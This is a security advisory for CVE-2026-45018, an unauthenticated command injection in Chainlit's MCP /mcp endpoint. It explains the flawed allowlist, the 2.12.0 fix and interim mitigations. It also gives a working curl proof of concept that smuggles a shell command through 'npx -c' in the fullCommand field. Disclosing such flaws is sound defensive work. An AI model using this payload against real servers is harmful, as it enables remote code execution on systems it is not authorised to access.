critical · 9.8CVE-2026-45018Aug 25, 2026

CVE-2026-45018: Chainlit Unauthenticated Remote Code Execution via MCP stdio Command Injection

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

When Chainlit's MCP feature is enabled, any unauthenticated user can send a crafted command string to the /mcp endpoint that bypasses the executable allowlist and runs arbitrary shell commands on the…

Packagechainlit
Ecosystempip
Affected>= 2.4.0rc0, <= 2.11.1
Fixed in2.12.0
CVE-2026-45018: Chainlit Unauthenticated Remote Code Execution via MCP stdio Command Injection

The problem

The POST /mcp endpoint accepts a client-supplied fullCommand string for stdio transport. validate_mcp_command() parses the string with shlex.split() and checks only the executable name against a configurable allowlist, leaving all arguments unchecked.

The validated command and its unchecked arguments are passed directly to StdioServerParameters, which spawns a real subprocess. Because npx supports -c for arbitrary shell execution, an attacker can smuggle any command through the allowlist check. No authentication is required: /mcp is reachable by any client that can open a Socket.IO session.

Proof of concept

A working proof-of-concept for CVE-2026-45018 in chainlit, with the exact payload below.

bash
# Step 1: open a Socket.IO session to get a valid sessionId
EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

# Step 2: inject arbitrary command via fullCommand
curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

# The server executes the command before the MCP handshake fails.
# /tmp/rce_proof will contain the output of id.

The root cause is an incomplete input validation pattern (CWE-78). The allowlist check gates only the first token of the command string, so any allowlisted binary that supports shell execution flags (npx -c, uvx --, etc.) becomes a direct injection vector.

A second, compounding issue: allowed_executables defaults to None in the Pydantic model, and the validation logic treats None as "allow everything." A developer who omits the setting entirely disables even the partial protection.

The 2.12.0 fix eliminates the vulnerability by removing fullCommand from the client request model entirely. stdio servers are now declared by the developer in config.toml under [[features.mcp.servers]] and selected by name at connection time. The command never crosses the trust boundary from client to server, so there is nothing left to sanitize.

The fix

Upgrade to **chainlit 2.12.0**. The fullCommand field is removed from the /mcp request; server commands are now developer-declared in .chainlit/config.toml under [[features.mcp.servers]] and selected by name only.

If you cannot upgrade immediately: set features.mcp.enabled = false in .chainlit/config.toml to fully block the attack path. Alternatively, configure an auth callback so that /mcp requires an authenticated session (this removes the unauthenticated attack path but does not fix the underlying injection).

Note: 2.12.0 is a breaking change for MCP configuration. The old [features.mcp.stdio], [features.mcp.sse], and allowed_executables settings are removed. Review CHANGELOG.md before upgrading.

Reported by Vipin (SPL / SecureLayer7).

References: [1][2][3][4]

Related research